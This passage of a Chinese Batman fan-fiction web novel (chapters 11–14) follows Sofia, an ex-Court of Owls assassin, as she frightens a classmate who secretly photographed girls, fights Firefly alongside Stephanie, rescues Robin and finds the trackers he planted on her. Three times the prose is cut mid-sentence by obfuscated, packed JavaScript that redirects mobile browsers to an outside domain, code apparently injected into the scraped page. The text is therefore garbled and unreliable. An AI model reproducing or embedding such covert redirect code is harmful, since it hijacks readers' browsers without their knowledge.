“我相信青年人不会简单的因为一份小小的小组作业就对同学大打出手，我相信一定有别的原因不是吗？比如作为孤儿的嫉妒詹姆斯的家庭环境？再比如有些少女会因为没有得到男孩的爱慕就心生怨恨。” “谁知道你是不是对詹姆斯爱而不得？哦对你还是个亚裔，不会连绿卡都没有黑在哥谭吧，接近詹姆斯只是为了身份？” “原谅我过分揣测，毕竟谁能接受一个没有教养的小姑娘会殴打我有礼貌的优秀的儿子呢？” 索菲亚的视线中心切换成了另一只苍蝇，在房间里飞个没完，在门口绕了四五圈都没能从大门离开，实在是脑子有病。 就是说，这位先生和詹姆斯会喜欢斩首吗？或者被吊在滴水兽上等着蝙蝠侠把他们放下来？ 好在科里森先生虽然是个刻板的成年人，但是在哥谭比黄金还难找的正直的老头，他驳回了詹姆斯那个讨厌鬼的爸爸的带有羞辱性的猜测，并拒绝了开除索菲亚的过分要求，按照校规开了停课两周的惩罚，并压着少女不情不愿的道了歉。 索菲亚推开办公室的门回到教室的时候困得几乎睁不开眼，这几天她和斯蒂芬妮凑在公寓里没日没夜地搜集关于线索大师的线索，还要处理在学校惹出的烂摊子，几乎是一回来就趴在了桌子上。 等到终于失去睡意清醒了过来的时候，正好对上提姆的视线。少年单手撑着头，另一只手把笔转出了残影，眼眶里藏着的是广阔的大海，平静而包容。 “这不完全是你的错索菲亚，别太难过。” 索菲亚点点头，但并不代表完全认同同桌的观念。 猎魔人少女当然不觉得自己有错，从始至终没有完成约定工作的人不是自己，率先挑衅的人也不是自己，甚至在动手的过程里都刻意收敛了出拳的力道，没有将人一拳打死，无论如何自己都是对的。 可是在周围所有人的眼里，虽然詹姆斯有错，可是索菲亚都不应该动手而是静静的承受之后等着正义降临在自己身边，为自己主持公道。就算得不到公道也没关系，毕竟只是小事，只是小孩子间的小打小闹罢了，为什么要下手这么残忍？ 猫头鹰眨了眨眼，因为不适应阳光用翅膀挡住了面部，在树枝上疑惑的晃动着脑袋，圆溜溜的眼睛里看不出一丝高光直愣愣的盯着猎物。 提姆也被叫了家长，他的爸妈还在国外忙些工作，最后来的是韦恩家的老管家阿尔弗雷德。那是个体面的老人，游刃有余的和大人们在办公室谈话。几十分钟过去后，老人为提姆送来了下午茶的点心后向索菲亚打了招呼便离开了。 作为点心的饼干很好吃，索菲亚从同桌手里抢了一半，最后收拾好书包准备迎接自己突如其来的两周假期。 但是还没放学，新的处罚通知也来了，据说是包括校长在内的学校高层都收到了一份匿名发送的文件。文件里详细描述了詹姆斯自上中学以来的造谣记录以及装满了以各种隐秘角度留下的照片。 比起造谣，频繁以更衣室，健身房，卫生间这类隐私区域场景出现的角度刁钻的照片更让人不寒而栗，那些以往被衣物包裹住的身体部位出现在镜头里成为被人肆意点评的商品，那些毫不知情的女孩被标上女神，s货，便宜货的羞辱标签，成为满是恶意的teenager们成为共犯的共同话题。 当然，还有一整个袋子的被拆除的形式各异的摄像头，包里还塞着一柄比起蝙蝠镖要更加圆润小巧的R形状的罗宾镖。 这些证据足够詹姆斯断送自己的未来。 “所以罗宾找到了那个混蛋犯罪的证据，他是不是要坐牢了？”斯蒂芬妮握拳欢呼“好耶。” “没有，他只是被开除了。”索菲亚摇头，一口咬掉了披萨上的培根“不过这件事还没完，我这几天还有点事要做。” “你要做什么？让我也去。我在家快憋死了。”话音刚落，斯蒂芬妮就脚下抹油钻进她的房间从衣柜里翻出个袋子。 “快看快看，我给自己也准备了制服，我打算穿这身衣服把我爸扔进大牢。”斯蒂芬妮抽出袋子里紫色和黑色相间的制服，紫色的带兜帽的披风和金色的长发放在一起格外的显眼。“我给自己做了披风，是不是很酷。快让我也一起行动嘛，我可棒了。” “我连代号都想好了，我就叫搅局者。” 于是在午夜一黑一紫两个戴着帽子的影子齐刷刷蹲在了富人区的某栋别墅门口，紫色的身影有些瘪瘪的，因为初次成为搅局者的斯蒂芬妮估错了制服的大小，只能回家再调整，委屈地蹲在猫头鹰打扮的索菲亚旁边。猫头鹰从薅来的免费装备里翻出件钩爪枪和面具给斯蒂芬妮带上，两只小鸟叽叽喳喳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859238|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的从哥谭上空飞过。 不过武器上两人有些分歧，索菲亚觉得刀剑这类锋利地冷兵器就很好，一刀下去人头落地，斯蒂芬妮一边尖叫着不想被蝙蝠侠做成表一边跑出杂物间，最后还是从周围的教习武术的武馆里顺了根双截棍走。 詹姆斯在学校丢了个大人，回到了家因为没收好自己的把柄挨了好大一通骂，好在被开除不算什么大事，只是换个学校的事，过不了多久他又可以继续重拾这点无伤大雅的小爱好，靠几张照片视频就在网络上受人追捧。 再说了，女人穿这么少不就是为了让人看吗？他满足了那些女的愿望还要被倒打一耙实在是上天不公。 不过，这些事在哥谭正经的上流社会只是些不入流的小把戏，尤其是对于某些人，特别是那个总是占据晚会闪光灯的富家公子哥——布鲁斯韦恩来讲，他只用坐在那里就会有身材火辣的封面模特狗皮膏药一样黏上去嘘寒问暖。金钱，容貌，家世，地位，布鲁斯韦恩拥有男人想要的一切。 显得詹姆斯格外像是哗众取宠的小丑，趴在地上苟延残喘只为了能被女人骂上两句才能找到自己的存在感。 “咚咚。” “别敲了东西放在门口，烦死了。” 对詹姆斯唯一的打击是，电脑里存着的那些劲爆的照片视频也被一起清理了个干净，就连电脑屏幕的壁纸都被换成了一行文字。 “我会一直看着你。” 一定是德雷克找的黑客在报复，一定是这小子搞的鬼，就这么看不得自己的姘头挨骂，那个拉拉队的女的也就算了，那个…… 想起前不久被殴打的疼痛以及那双死水一样的毫无波澜的眼睛，詹姆斯下意识抖了一下，过了一会才笑出来，嘲笑自己过分紧张。 “那女的还能来我家找我不成？” 但嘲笑过后，房间内出奇的安静，电脑风扇运作时转动的响声格外明显，詹姆斯几乎能听到血液在血管里流动的声音，安静的让人紧张。 “咔嚓。”相机快门的声音突然响起。 “是谁？”詹姆斯赶忙回头，却猛地摔到了地上，慌忙爬起来只看到一闪而过的影子和被打开一条缝的窗户。 呼吸猝然加快，詹姆斯一把打开房门，却发现门口并没有放下什么东西。就在此时，灯光也倏然消失，詹姆斯落入了一片黑暗之中。 身后，只有笔记本电脑的屏幕还散发着渗人的冷光，那行文字在黑暗中格外刺眼。 “咔嚓。”又是一声快门，詹姆斯顾不上拿东西摸黑在走廊跑了起来，冷汗顺着身体止不住地流下。 进入较为宽敞的会客室，慌张地颤抖着手打开应急灯的开关。 “一定是意外，一定是，睡一觉一定就什么都没有了，对睡一觉就好了。” 就在此时，一阵寒意顺着脊背爬上了詹姆斯的肩膀，他几乎喘不上气，但还是机械式的回头。 在会客厅特意设计的通透的落地玻璃外，一只硕大的猫头鹰正悬挂在天空中，同样硕大的圆形的眼睛正直直盯着詹姆斯，猫头鹰挡住了月光，影子透过玻璃将詹姆斯全部笼罩。 在詹姆斯惊恐的颤动的眼神里，他再次听到了一声清脆的“咔嚓”。 12. 第 12 章 眼前的青年双眼一翻晕了过去，猫头鹰看了看手里的相机，顺手拍下一张照片留作纪念，便用钩爪枪上了屋顶。 金发少女没忍住笑出了鹅叫。 “不是吧，我们还没进去踢他的屁股呢怎么就吓晕了。” “他不会以为我们要进去杀人灭口吧。” 面具之下，索菲亚却也是难掩笑容，掐着胳膊才没能发出怪叫。 “钩爪枪怎么样？” “超级好用，所以那只黑漆漆的蝙蝠侠就靠这个在哥谭飞来飞去殴打罪犯是吗？感觉我马上也可以去做义警了，你说我的代号叫什么？搅局者怎么样？” 斯蒂芬妮抬手想扶一下要掉不掉的面具，想起来面具是粘上去的，又不是眼镜没事就往下掉。 “那我们接下来要去做什么？去夜巡怎么样。” “遇到蝙蝠侠会不好交代。”索菲亚指了指脸上的猫头鹰面具“我的打扮真的很适合去阿卡姆占一个床位。” 斯蒂芬妮站了起来，从上到下打量自己的好舍友，同意的点了点头。 “你现在真的好像半夜会去别人家吃人的猫头鹰怪物，我第一次遇到你还以为见鬼了。” “是以前的工作制服，我离开的时候把制服留下来了。” “那你为什么不继续做那份工作了？”斯蒂芬妮盘着腿坐了下来。 “有点复杂。”索菲亚站在斯蒂芬妮左侧面对着詹姆斯家里修整整齐的花园叹了口气“没工资没社保，工作做好了没奖励，失败了有惩罚，惩罚次数多了会直接被退休，好像一匹自己带饭的核动力驴。” “还能退休应该还可以，吧。” “被冻成冰棍作为资产被报废掉，光是我知道的冷冻猫头鹰都可以绕哥谭三圈。”猫头鹰移开了视线，内心却是止不住的酸涩。 “所以你的前同事为什么还在工作？他们不会跑路吗？” “可能因为，他们喜欢做驴吧。” 嘴上说着害怕被蝙蝠侠打的满地乱爬，猫头鹰还是带着自己金发的好朋友搅局者去哥谭转了一圈，今晚的哥谭一如既往的热闹，抢劫的抢劫，卖违禁品的照买不误，远处的建筑燃着火光萤火虫充满激情的四处乱窜。 等等，建筑里是企鹅人的谩骂声，原来被烧的是企鹅人的家啊。 两个穿着奇装异服夜不归宿的少女蹲在高处半天也没等到蝙蝠侠开着那辆酷炫的蝙蝠侠“噔噔噔噔”地出现，困惑的挠了挠头。 “蝙蝠侠，放假了吗？” 索菲亚迷惑的摇头，还是对上了同伴同样迷惑的眼神，两个人头顶蹦出来的问号几乎能在周围摆几圈多米诺骨牌。 “要不然我带你去追萤火虫吧，特别适合练习钩爪枪。” 话音刚落，斯蒂芬妮便戴上兜帽冲出高空，“好耶”融入在快活的空气中，索菲亚不甘示弱也跟着追了上去。 斯蒂芬妮是个灵活的充满力量的少女，即使刚刚接受索菲亚非常不正规的训练不久，也能迅速掌握和人搏斗的技巧以及使用钩爪枪的技巧。 索菲亚不知道自己学到的那套堪称歪门邪道的训练方法，适不适合一个干净纯粹的如同一块璞石一样的学生，但也只能硬着头皮教。 只能说学会基本的应对技巧，锻炼敏捷度和力量，学会防御总不会出错。 实在不济还有最关键的技能，那就是审时度势后确认实力差距悬殊，拼尽一切连滚带爬的逃走。 活着，就是胜利！！ 在索菲亚刚刚转职成为猎魔人的时候，爱德华实在不知道怎么拿自己摸索出来的野路子教小孩，最后只能把堆成山的手写笔记给了女孩。女孩不解，但还是翻遍了每一本笔记。 爱德华不愧是曾经差点去上藤校的高材生，连工作报告都写的妙趣横生堪比小说，其中一篇故事就详细描述了猎魔人的核心理念，逃——哦不对，是战略性撤退。 故事的起因是流传在网络上的诅咒，类似不转发死全家之类的内容，帖子里附上了那位都市传说明星瘦长鬼影（slender man）的图片。当时，爱德华只以为是网络上的恶作剧，但随着事态变得严重，确实出现了接收邮件的人几日后离奇死亡的事件。 爱德华一脚油门冲去了俄亥俄州，然后就被狠狠的震撼到了。 草，为什么slenderman是真实存在的啊。 在明显不属于已知世界的茂盛树林里，爱德华和那位不靠谱的前辈一起被无法被电子设备记录的怪物四处追杀，那位身穿西装头戴礼帽的身高三米有余的无面绅士不紧不慢的跟在两个成年人身后，玩弄着猎物。 在即将耗尽所有精力时，一道巨雷劈开了空间的裂隙，两人这才顺着缝隙爬了出来。 所以做猎魔人最重要的是什么？力量？智慧？ 不，是活着。 萤火虫在眼前腾转挪移，好几次斯蒂芬妮几乎都要碰到他，却还是被一个闪身躲了过去，少女累的直喘气，只能暂时落在大楼墙面上歇脚。 索菲亚照例爬到高处观察萤火虫行动的轨迹，但是飞虫一样不规则的随机运动让人看了一会只觉得恼火。 “这是个什么虫子这么能跑？”斯蒂芬妮骂骂咧咧的爬了上来“蝙蝠侠到底是怎么抓住他的，苍蝇拍还是杀虫剂？” 索菲亚将双手的食指和拇指伸出组成一个方框，如同相机一样随着萤火虫一起移动确认位置。斯蒂芬妮金色的脑袋跟着亮起的小点一起摆来摆去，索菲亚没忍住在少女的脑袋上揉了一下。 “头发要揉乱了，好过分啊索菲亚。”斯蒂芬妮撅起嘴跳了起来“除非也让我摸摸你的。” 索菲亚拉下兜帽把脑袋凑了过去让同伴摸了个爽才把鸡窝一样乱的头发重新塞回兜帽下。 “等等，萤火虫飞的声音好像不太一样了。” 斯蒂芬妮立马警觉起来朝声音望去，只见红绿灯一样配色的少年义警从背后抓住了萤火虫，两人扭打挣扎了起来改变了方向。 还没来得及反应，就听“咻”地一声黑色的猫头鹰也跟着飞了出去，在钩锁的牵引下落到了附近。 “我也去，等等我。” 萤火虫开始疯狂翻转企图将身上捕食的小鸟甩掉，连续旋转下失重的感觉让索菲亚即使看着都忍不住过分共情，只觉得恶心。 看样子罗宾还没适应不适感，萤火虫就突然向上急转，出于惯性的作用少年来不及闪避就重重撞在高楼的玻璃上，剧痛之下少年松开了手，直直坠下。 唯一的好消息可能是，这里是韦恩大厦，用的玻璃也是质量上乘的钢化玻璃，不用担心玻璃破碎会造成二次创伤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859239|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钩爪枪也跟着脱手，提姆只能在空中调整下落姿势，力图将伤害降到最低并试图找到借力点进行缓冲。 这是少年成为罗宾以来的真正意义上的第一次坠落，与在蝙蝠洞的训练不同，蝙蝠洞的训练室里总是铺着软垫，即使失足掉落也只是会被软垫弹起。可现在，周围只有光滑的墙面，干净的找不到哪怕一个草丛作为缓冲的地面。 一定还有其他的办法。 但速度太快了，少年的大脑即便在几秒内进行了成千上万道精妙的计算，最后只能祈祷导师能把自己受伤的事瞒过在外工作的父母，不管怎么说做了不到一个月的罗宾就被迫毕业实在有点丢人。 就在这时，风中产生了细微的变化，打扮成猫头鹰装备精良的身影出现在面前向少年伸出了手，少年立马明白了对方的意图，张开了手臂。 腰部被对方的手臂揽住，罗宾下意识环住了猫头鹰，钩爪枪带着两人荡到了高处，月色下少年能听到自己因为刺激心跳加速的跳动声，迎面而来的风勉强吹散了罗宾脸上多余的温度。即便如此，少年还是将手放进腰带里勾出了几个小小的电子元件不经意的黏在了猫头鹰的身上。 猫头鹰带着罗宾到了高处，脚接触在地面的那刻少年几乎双腿一软，但还是稳定了身子。 罗宾不着痕迹的打量着面前身穿猫头鹰制服的家伙，论坛里确实有提到猫头鹰打扮的疑似义警的帖子，但热度都算不上高。其一是猫头鹰出现的频率很低，见过的人实在寥寥无几。其二当然是，猫头鹰目前只有目击记录，而没有明确的伤人记录，虽然也有人把猫头鹰和哥谭都市传说里的猫头鹰法庭联系在一起，但在证据不足的情况下这些推论也显得有些牵强。 顺着猫头鹰的视线，罗宾同样向下看去。 街巷里，挂在萤火虫身上的是另一个蒙面人，紫色的披风在一片漆黑中格外显眼。猫头鹰将罗宾看了个遍就又跳了下去，在同伴的牵引下用钩爪枪将萤火虫拖了上来，重重地摔在了地面上，抬起头正好能看到眼前的猫头鹰。 紫色的蒙面人恶狠狠的在萤火虫屁股上踹了两脚，萤火虫来不及挣扎就被猫头鹰一脚踹在了脑袋上画出一道完美的弧度，接着浑身漆黑的猫头鹰给萤火虫脖子上补了两拳送萤火虫去梦里见了太奶。 两位蒙面义警打了萤火虫，一前一后的飞走了。 罗宾刚要追上去，刚摸到空荡荡的腰带，才想起来钩爪枪不知道丢到了哪里只能在台上眼睁睁看着两个人离开。 不过，少年也不算全无收获。 罗宾将昏迷的萤火虫拷了起来放在一旁。 “便士一，萤火虫已归案。” “很高兴听到你的声音，提姆少爷。”通讯器那头的带着英伦风味的声音顿了顿“只是不要让自己身处险境好吗？我知道有的人带了坏头让孩子们都爱上和危险共舞的刺激感，但对于老年人来讲这样的惊吓还是太超过了。” “抱歉便士一，是我的疏忽。”罗宾揉揉肩膀试图活动几下，却只感到一阵阵的钝痛。 “需要将两位路过的好心人列入观察计划吗？” “当然。” 少年抬眼，回忆起被猫头鹰抱着的时候从腰带里掏出的微型定位器和监听器自信的扬起了微笑。 “在B回来之前，我会调查清楚的。” 13. 第 13 章 房间没有开灯，投影在荧幕上的画面成了唯一的光源。 年幼的索菲亚跪坐在地上，仰着脑袋才能看清画面的内容，金色的瞳孔里倒影出扭曲变形的影像。 画面里西装革履的男人结束了对话，靠在柔软椅背上的老年男性低头对下属说话，明明坐在较低的位置但是没有人会认为这位看似慈祥的老年人会是权力下位。 随着镜头的变化，在床榻上出现了睁大了眼睛满是惊恐的马头，鲜血从切口处汩汩流出，染红了床榻。 “看到了吗索菲亚？我当年也是这么做的。”成年的猫头鹰揉了揉女孩的脑袋“那个废物嘴上说着要给自己的母马报仇，但转头就把母马唯一生下的小马训练好送了过来当做礼物。不过那确实是一匹漂亮的小马，所以我愿意用黄金制成的鞭子和嚼头来帮她成为最好的马，幸运的是她确实是最好的。” 女孩的表情没有丝毫变化，只是低下头像猫一样用脑袋去跟着猫头鹰刻意伸回的掌心，四肢并用的爬到了男人的身边。 “但是没关系，索菲亚，我不需要一匹马。我需要一个熟练的猎手，一个残酷的猎食者，一个无情的刽子手，一个虔诚的学生。” 带着手套的手在女孩还带着婴儿肥的脸颊上拧了一把。 “我是不是没有讲过我自己的事，我过去有个女儿，但是她死了，我一直希望能弥补这份错误，但是现在机会来了好孩子，你可以做我的女儿，而我会成为教导你的导师。” “你知道的，你只有一个答案。” “小猫头鹰。” 果然人只要在不该睡觉的时间睡觉，就会遭到报应。 索菲亚顶着凌乱的脑袋迷茫的坐在床上，看着完全黑下来的房间大脑一片空白，顺着床头摸到了自己的手机，点亮屏幕就看到零散的几条信息。 斯蒂芬妮：索菲亚我有些事要回家一趟，你晚上自己吃饭不用等我。 蒂娜：话说德雷克怎么回事，他今天怎么也没来上学？ 蒂娜：你俩背着我做什么了吗？ 蒂娜：算了，这个家还是得靠我，你放心，我们小组作业一定能交上，大不了我不睡了啊啊啊啊。 索菲亚趴在床上挨个回复了信息，半天没得到回复，眼睛瞥到硕大的凌晨3点，失望的在床上把翻滚力求把自己卷成寿司卷。 之前没有察觉，噩梦之后索菲亚后知后觉的意识到一些问题。 比如，审判庭当年作为一群非人物种组成的组织，为什么一定要选择猫头鹰作为图腾？ 总不能是审判庭那群动辄几百岁的该死老头其实是蝙蝠侠粉丝，在看了漫画后一时兴起就把自己手下的杀手组织标志全都改成猫头鹰吧。 作为多年牛马，按照索菲亚对这些非常烦人的魔法老登的了解，他们做的每个决定大多数和所谓的预言有关，比如为了避免覆灭结局选择去刺杀监护人的的老板，结果间接导致监护人将零散的猎魔人聚在一起重新建立了猎魔人协会。 这么说来，这帮老登怎么菜菜的，弄了一圈结果不想实现的预言全实现了。 系统界面里猫头鹰法庭的任务依旧死了一样没一点动静，视线里那只困得直打盹的猫头鹰险些从画面里掉下来。 客厅里斯蒂芬妮逛街买来的挂钟正兢兢业业的摆动着钟摆，沙发上的黄色毯子只有一半还搭在上面，剩下部分的流苏与地面接触，像是收割完摊在地面等待晾晒的小麦，猫头鹰的面具正放在茶几上，锐利的眼睛始终注视着索菲亚的方向。 思绪回到把罗宾捞回来的那天，在返回的路上索菲亚的耳边萦绕着系统的警告声。 “请注意，宿主身上携带电子设备，请及时清除。” 顶着斯蒂芬妮疑惑的眼神，索菲亚落在了离公寓有一段距离的地方，在制服上搜寻，果不其然找到了几个指甲盖大小的电子物件。 用手指捏碎有定位和监听作用的小玩意，索菲亚心里给罗宾记上了一笔。 “我有听说，蝙蝠侠经常能找到罪犯的位置，他不会给每个人身上都放了定位吧。” “不会很贵吗？在黑市这套设备好像不便宜。”索菲亚把手上的残渣顺手扔到了地上。 “我记得小报有说过蝙蝠侠被韦恩包养了，再怎么说韦恩也不缺这么点钱吧。”斯蒂芬妮从窗户钻进屋里，转过身对索菲亚伸出手“我收藏了好多蝙布蝙的cp粮，你要不要吃一口，可香了，哥谭人严选。” “论坛上不是还有磕超蝙的吗？上次不是还被拍了超人公主抱昏迷的蝙蝠侠。” “不是吧宝贝，是哥谭人就要吃蝙公。”斯蒂芬妮脱下制服，换上宽松的t恤。 “可我是纽约人，我只公美国队长。”索菲亚端起马克杯给自己倒了杯水一饮而尽。 两个女孩光着脚站在客厅对视，忽然破了功齐齐笑了出来。 “今天罗宾掉下来我都倒吸一口凉气，要是我估计脑子都能摔出来。” “不至于，大概率会高位截瘫，不会致死。”索菲亚吐掉嘴里的泡沫，摇着脑袋漱口。 “新罗宾大概有多大？有成年吗？”斯蒂芬妮探出脑袋，摸走了洗手台上的面膜。 “肌肉量不够，手感上看不会超过十八岁，身高在一米六五左右，他的靴子有一点鞋跟所以会有点误差。”索菲亚转头差点撞到斯蒂芬妮身上“是比较纤细的那种男生，很好打。” “如果长得还可以的话，那是日漫的温柔男二设定诶，在美国好少见。可惜我周围只有脑子被垃圾内容整坏的垃圾男高，见一次就想打一次，好讨厌。” 斯蒂芬妮躺在沙发上等脸上的涂抹式面膜到时间。 “我高中里就有个男的，自己谈着恋爱呢跟我在这里玩暧昧，说些让人误会的话，想脚踏两条船，也不看看自己是什么东西。” “这个不难的，斩首碎尸冲进下水道里，我可以帮你处理鲁米诺反应。”索菲亚穿着吊带的蓝白色睡裙走了出来。“就算被蝙蝠侠抓进阿卡姆我也不会出卖你的。” “那家伙罪不至此。”斯蒂芬妮刚要笑就止住了笑容“都怪你，索菲亚，你个坏姑娘怎么老让我笑，一会面膜裂了怎么办。” “我再去买一瓶给你。”索菲亚眨了眨眼。“不，我给你两瓶。” 结束夜巡终于回到蝙蝠洞，看着走上前来的老人，罗宾这才松了口气。 摘下面具露出那张属于提姆.德雷克的脸，因为碰撞的缘故少年的身体上留下了不少伤痕，下巴处划出了一道口子好在止住了血，胳膊至今还在钝痛和麻木间徘徊没办法做太大的动作。褪下制服，镜子中背后一大片青青紫紫的恐怖淤痕占据着白皙皮肤上的大部分面积。 老管家拿着棉球帮忙上药时，略带冰冷的质感就接触到皮肤引发的刺痛让少年几次都没忍住叫出了声，最后又咬着牙用意志力把声音压了下去。 “喊出来可以减轻一部分对于伤口的注意力，您可以放心蝙蝠洞的隔音效果很好，不必担心因此暴露身份。”话虽如此，阿福还是减轻了涂药的力度“不必因为布鲁斯老爷本人对于自身的严苛要求对自身产生焦虑，毕竟十几岁就抛下大额财富和老管家出门游学的富家少爷本身就是珍稀动物一样的存在。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859240|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我只是觉得我还不够成熟，如果是B的话，他一定会有更多备选方案。”提姆有些沮丧，大脑还在高速运转思考在当时的环境下除去外力救援还有什么处理方法。 “不过，需要注意的是，您的小发明似乎出了点问题。”阿福语气一顿。 “我知道，回来的路上猫头鹰和他的同伴发现了监听设备。”上完药的提姆站了起来，重新坐回在蝙蝠电脑前。 “容我提示，带伤长时间工作可不适合伤口愈合。” “抱歉阿福，我会很快休息的，只是需要一点收尾工作。”少年的脸被屏幕照亮，无数数据飞速从眼前闪过。 阿福叹了口气，替少年倒满了咖啡。 思绪收回，盯着猫头鹰的面具，索菲亚后知后觉的意识到。 蝙蝠侠叫什么来着？托马斯？克拉克？莱克斯？ 等等，蝙蝠侠是不是叫布鲁斯韦恩？！ 少女猛地坐了起来，手机砸在了床上弹出一个弧度。 搜索栏里打出布鲁斯韦恩的名字，很快有关这位年少就失去父母的阔佬的生平出现在手机屏幕里，包括在幼年失去父母，中年和被监护人迪克.格雷森闹翻后几年因为车祸失去了二儿子杰森陶德。 所以前几任罗宾的真实身份呼之欲出。 那么这次新的罗宾是谁呢？ 不会是他心血来潮收养的新小孩吧。 照片里展现了布鲁斯韦恩惊人一致的审美，黑发蓝色眼睛的小男孩，索菲亚的心几乎提到了胸口。 但回忆起自己纤细柔弱小猫咪一样的同桌，索菲亚还是放下心来。 那可太好了，自己的同桌虽然也具备身体纤细灵活且黑发蓝眼的特征，但他一不是小男孩二是还有父母直接逃过一劫。 蝙蝠侠总不会连有父母的小男孩也不放过吧。 这么说来，任何人都有可能是罗宾，都不可能是那个看起来很好说话的提姆德雷克。 索菲亚为自己精彩的推论深深折服，高兴地又刷了两个小时推特，昏昏沉沉的又睡了过去。 约翰逊.哈里森面临了他人生中最大的危机。 自从那件事以后，自己的人生走上了下坡路。 在某场宴会里，作为外来人自己有幸见到了真正意义上的哥谭统治者，当然不是那个草包一样被蒙骗到骨子里的布鲁斯韦恩，而是更深层次的隐藏的哥谭底下的庞然大物——猫头鹰法庭。 当然，直接进入法庭核心是不可能的，但是约翰逊有幸拜见了其中一位成员，那位大腹便便的成员微笑着接纳了他的供奉，并承诺会让约翰逊得到所求之物。 这是真正的飞升，比起中产阶级面临的被编造出来的阶级跃迁的美梦，自己只要能跻身法庭的行列，即使是一个再边缘不过的席位，也足够整个哈里森家族再进一步。 那个夜晚仿佛一场美梦，即使第二天自己没用的儿子就在学校被一个亚裔小女孩打破了脑袋哭着喊着让自己为之出头，也没能影响到约翰逊无法掩饰的快乐。 可是一切都不太对劲。 请假在家的儿子先是声称遇到了猫头鹰，被吓得几乎尿了裤子。 笑话，猫头鹰怎么会袭击他，自己已经是猫头鹰的一员了，只觉得儿子是被打坏了脑子。约翰逊不以为然的打发吓破了胆子的詹姆斯，独自回了房间打算开瓶红酒进行庆祝。 男人开门的动作顿住，看向黑暗中坐在真皮沙发上的影子，瞳孔剧烈震颤几乎要跳出眼眶。 “你好啊，哈里森。”黑影下是熟悉的猫头鹰。“猫头鹰法庭向你问好。” 14. 第 14 章 “我草我草我草，索菲亚你听说了吗？詹姆斯他爸爸昨死了。” 蒂娜的消息频繁弹出，让还在困倦的索菲亚一激灵清醒了过来。 “谁？” “就是那个嘴巴不干净还偷拍女生的垃圾啊，他爸爸你应该还有印象就是那个刻薄老头。今早新闻都报道了，说是他失足从自己家摔死了。” “那詹姆斯呢？也死了吗？” “好像没有，他似乎目击了现场受刺激太大疯掉了，被送到阿卡姆疗养去了。” 蒂娜突然没了回复，索菲亚看了看时间，猜测估计是上课了。 手机上弹出来的新闻果然就是詹姆斯一家的凶案。 在昨天，也就是索菲亚心血来潮打扮成咕咕杀手去吓唬同学的第二天，詹姆斯爸爸的尸体就被发现了，这个中年人实际上不过40多岁，被发现的时候还没换下西装，直直的从高空坠落。索菲亚还有印象，詹姆斯家的别墅最多也就三楼，这个高度再怎样也不至于摔死一个成年人。 往后看GCPD的报告解释了这个疑问，这位哈里森先生体表除去摔落导致的骨折，没有致命伤，最终的尸检结果证明了他死于过度刺激导致的心脏骤停，简而言之说是被吓死的也不为过。 一个非常嚣张的，拿鼻孔看人的傲慢中年人能够被吓死，实在是有些荒唐。 继续看下去，索菲亚发现了有趣的地方。 已经精神失常疑似目睹犯罪现场的詹姆斯，嘴里只是不停地念叨“猫头鹰来了”。 比起背后的真相，索菲亚更担心这么明确的指控会不会让蝙蝠侠持之以恒的追在自己的身后，然后以谋杀的罪名被送上法庭，进入黑门监狱，最后成为哥谭蝙蝠侠爱好小组的一员每天为了吸引蝙蝠侠的注意使尽浑身解数。 当然，除非是索菲亚半夜梦游去杀了那位仁兄的老爹还技艺不精恰巧被同学看到犯罪证据，那么最大的可能莫过于自己的前同事，从那群戴着面具的甲方手里接到了新的订单，所以搞出来这么一个过分抓马的交工现场。 那么，剩下的问题只有找到哈里森一家为什么会被盯上的问题了，找到证据以及猫头鹰法庭的几个名单，直接寄到韦恩宅，不出几个月索菲亚就可以舒舒服服的呆在家里等待老东家完蛋。到时候只需要烧掉猫头鹰的制服，就可以完美洗白。 非常好蝙蝠侠，使小猫头鹰提前下班。 入夜，在哈里森家的庭院里，郁郁葱葱的树影中似有黑影闪过，藏在树冠里。 黑影本人站在树冠上对着那栋熟悉的宅子思考，发现自己站着的位置似乎就是闯入民宅前最好的观察位置。 太棒了，不愧是同行，连工作思路都是一样的。 GCPD在现场没找到其他证据，只按照意外结案，这起案子的复杂程度甚至还没到让蝙蝠侠出动的地步。 哦，顺便一提，阿卡姆又大规模越狱了，这也是为什么蝙蝠侠没来横插一手。 这黑色大蝙蝠一天天在空中飞来飞去让人担心他会不会猝死，那辆蝙蝠车也跟着倒霉在大街小巷穿梭载着大大小小的反派回到自己不怎么舒适也不怎么快乐的老家。 感觉蝙蝠侠已经被锻炼到屁股都变翘的程度了，和蝙蝠侠不间断行动的罗宾也显得很命苦。 当然，已经单方面辞职的猫头鹰杀手还要自己来搜集完全没呆过的前任公司的犯罪证据，似乎更命苦了。 顺着还没修补好的玻璃进入房子，一下就进入了正常人存放书面资料的书房，除去书房大多数人会喜欢把重要的东西放在睡觉的地方。 